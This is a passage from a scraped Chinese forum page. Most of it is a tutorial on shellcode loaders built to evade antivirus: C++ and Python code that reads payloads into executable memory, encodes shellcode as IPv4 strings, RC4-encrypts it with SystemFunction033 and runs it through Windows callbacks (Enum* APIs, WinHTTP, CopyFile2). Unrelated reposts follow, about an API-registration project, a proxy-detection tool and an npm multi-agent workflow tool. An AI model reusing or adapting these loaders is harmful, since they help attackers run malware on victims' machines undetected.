        alloc,
        0,
        0
    ));
    WaitForSingleObject(thread.get(), INFINITE);
}
std::string replace(const std::string& inStr, const char* pSrc, const char* pReplace){
    std::string str = inStr;
    std::string::size_type stStart = 0;
    std::string::iterator iter = str.begin();
    while (iter != str.end())

    {
        std::string::size_type st = str.find(pSrc, stStart);

        if (st == str.npos)

        {
            break;
        }

        iter = iter + st - stStart;
        str.replace(iter, iter + strlen(pSrc), pReplace);
        iter = iter + strlen(pReplace);
        stStart = st + strlen(pReplace);
    }

    return str;

}

4). 普通分离上线

生成 raw 格式的 payload.bin,重心是这个是通过传参来加载的,配合 shellcode 免杀往往效果比较棒

ReadFile(File, exec, Size, &ReadSize, NULL);

这里使用 ReadFile 的形式将 shellcoce 给 copy 到内存中

#include<Windows.h> int main(int argc, char* argv[]){
    DWORD Size;
    DWORD ReadSize;
    HANDLE File;
    File = CreateFileA(argv[1], GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (File == INVALID_HANDLE_VALUE)
    {
        return 0;
    }
    Size = GetFileSize(File, NULL);
    void* exec = VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    ReadFile(File, exec, Size, &ReadSize, NULL);
    ((void(*)())exec)();
}

5). 放入内存再解密

很多 antivirus 会监控你的解密函数,如果是先解密再 memcpy 到内存,很有可能这一步就给你马子干掉了


4、白名单上线 / 回调函数

所有回调函数手法:https://github.com/aahmad097/AlternativeShellcodeExec

1).IPV4

将 shellcode 转 ipv4 地址并利用回调函数上线,现在这玩意已经玩烂了,antivirus 还是能应对,但重心是利用回调函数去执行内存中的 shellcode,关于更多回调利用手法可以看上面

import ipaddress


buf = b'''...''' # shellcode def convertToIPV4(shellcode):
    if len(shellcode)%4 !=0:
        print("\n[*] length:",len(shellcode)+(4-(len(shellcode)%4)))
        addNullbyte = b"\x00" * (4-(len(shellcode)%4))
        shellcode += addNullbyte

    ipv4 = []
    for i in range(0, len(shellcode), 4):
        ipv4.append(str(ipaddress.IPv4Address(shellcode[i:i+4])))
    return ipv4


if __name__ == '__main__':
    r = convertToIPV4(buf)
    print(str(r).replace("'","\""))

#include <Windows.h> #include <iostream> #include <ip2string.h> #pragma comment(lib, "Ntdll.lib") //  shellcode -> ipv4 const char* ipv4[] =
{
"252.72.131.228", "240.232.200.0", ...";

for (int i = 0; i < elems; i++) {

if (RtlIpv4StringToAddressA(ipv4[i], FALSE, &Terminator, (in_addr*)hptr) == STATUS_INVALID_PARAMETER)
{
printf("
ERROR!");
return 0;
}
hptr += 4;
}

// EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
// EnumTimeFormatsA((TIMEFMT_ENUMPROCA)ha, 0, 0);
// EnumWindows((WNDENUMPROC)ha, 0);
// EnumDesktopWindows(NULL,(WNDENUMPROC)ha, 0);
// EnumThreadWindows(0, (WNDENUMPROC)ha, 0);
// EnumSystemGeoID(0, 0, (GEO_ENUMPROC)ha);
// EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)ha, 0, 0);
EnumUILanguagesA((UILANGUAGE_ENUMPROCA)ha, 0, 0);
// EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)ha, 0);
// EnumDesktopsW(NULL,(DESKTOPENUMPROCW)ha, NULL);
// EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)ha, 0);
// EnumDateFormatsA((DATEFMT_ENUMPROCA)ha, 0, 0);
// EnumChildWindows(NULL, (WNDENUMPROC)ha, 0);
// CloseHandle(ha);
return 0;
}

2).SystemFunction033

https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/#more-4293

#include <windows.h> #include <stdio.h> typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer)
; struct ustring { DWORD Length; DWORD MaximumLength; PUCHAR Buffer; } _data, key; int main(){ printf("[*] RC4 Shellcode Encrypter using Systemfunction032/033\n"); _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033"); char _key[] = "yourkey"; unsigned char shellcode[] = { , ... }; key.Buffer = (PUCHAR)(&_key); key.Length = sizeof key; _data.Buffer = (PUCHAR)shellcode; _data.Length = sizeof shellcode; SystemFunction033(&_data, &key); printf("\nunsigned char shellcode[] = { "); for (size_t i = 0; i < _data.Length; i++) { if (!(i % 16)) printf("\n "); printf("0x%02x, ", _data.Buffer[i]); if(i == _data.Length-1) printf("0x%02x };", _data.Buffer[i]); } }
#include <windows.h> /*
* RC4 Shellcode Decrypter using Systemfunction032/033
* Coded by: @OsandaMalith - www.osandamalith.com
*/
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer)
; struct ustring { DWORD Length; DWORD MaximumLength; PUCHAR Buffer; } _data, key; int main(){ _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033"); char _key[] = "yourkey"; unsigned char shellcode[] = { , .... }; key.Buffer = (PUCHAR)(&_key); key.Length = sizeof key; _data.Buffer = (PUCHAR)shellcode; _data.Length = sizeof shellcode; SystemFunction033(&_data, &key); DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)shellcode, 0); }

3).HTTP 回调

#include<Windows.h> #include<winhttp.h> #pragma comment(lib,"Winhttp.lib") unsigned char buf[] = "your_shellcode";
int main(INT argc, char* argv[]){
    DWORD lpflOldProtect;
    VirtualProtect(buf, sizeof buf / sizeof buf[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
    HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&buf, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
    WinHttpCloseHandle(hSession);
    return 0;
}

4).copy 回调

#include <windows.h> #include <iostream> void* GetSbSectionAddress(){
    HMODULE hModule = GetModuleHandle(NULL);
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSection = (pNtHeaders);
    
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSection++) {
        if (memcmp(pSection->Name, ".sb", 3) == 0) {
            return (BYTE*)hModule + pSection->VirtualAddress;
        }
    }
    return NULL;
}

int main(){
    // char path[MAX_PATH]; // GetCurrentDirectoryA(MAX_PATH, path); // char* lastSlash = strrchr(path, '\\'); // if (strcmp(lastSlash + 1,"sb") != 0) // { //     return 0; // } void* sbAddr = GetSbSectionAddress();
    COPYFILE2_EXTENDED_PARAMETERS params;
    params.dwSize = { sizeof(params) };
    params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
    params.pfCancel = FALSE;
    params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)sbAddr;
    params.pvCallbackContext = nullptr;

    ::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
    ::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", &params);
    return 0;
}

📌 转载信息
原作者:
Dh_FUN
转载时间:
2026/1/18 08:50:59




项目地址
感谢以下项目及作者提供的帮助

我这个太潦草了

强烈推荐下面项目:美观又全面
【古 L 站掌管 Business2api 的神】批量、自动注册 / 刷新、多模态、多账户轮询、优雅 Web
CooooooKK 佬太强了


📌 转载信息
原作者:
LOOEVD
转载时间:
2026/1/18 08:50:40

最近在写关于代理检测和 TK 风控预防的文章,就开发一个小工具用于检测这些内容,目前还在测试阶段,想收集看看大家的测试效果,希望大家可以玩玩这个小工具,别太当真,当个小玩具玩玩,谢谢大家喵,猫猫会挑选一些认真合理的反馈送出 500LDC 的红包作为感谢礼~

晒图片记得打码,如果你想知道怎么进行防护可以等后续的文章喵~


📌 转载信息
原作者:
STALK
转载时间:
2026/1/18 08:49:26

最近在搞一个大项目喵 不过 目前我缺失一个高效的工作流喵
所以 就整了这么一个抽象小项目喵


主要功能

  • 通过 node.js 的 api 实现多 agent 并行化工作
  • 全局知识库 & skills 共享且可自学习
  • 可以把和 ai 讨论的成果变成 specs 并 link 到知识库


实现原理

  • 通过创建 claude.md 引导 claude 的工作流 使得其自动使用配置的 skills&kb
  • 维护 ~/.ckb&./.asyncwf 以实现 skills&kb 共享及项目内的 tasks 管理
  • 提供一个对人类和 ai 都方便的 cli interface 以管理并行工作流


安装方式

npm install -g asyncwf

使用时只需 asyncwf init 即可


仓库地址


#Npm.js


📌 转载信息
原作者:
rand0mdevel0per
转载时间:
2026/1/18 08:49:15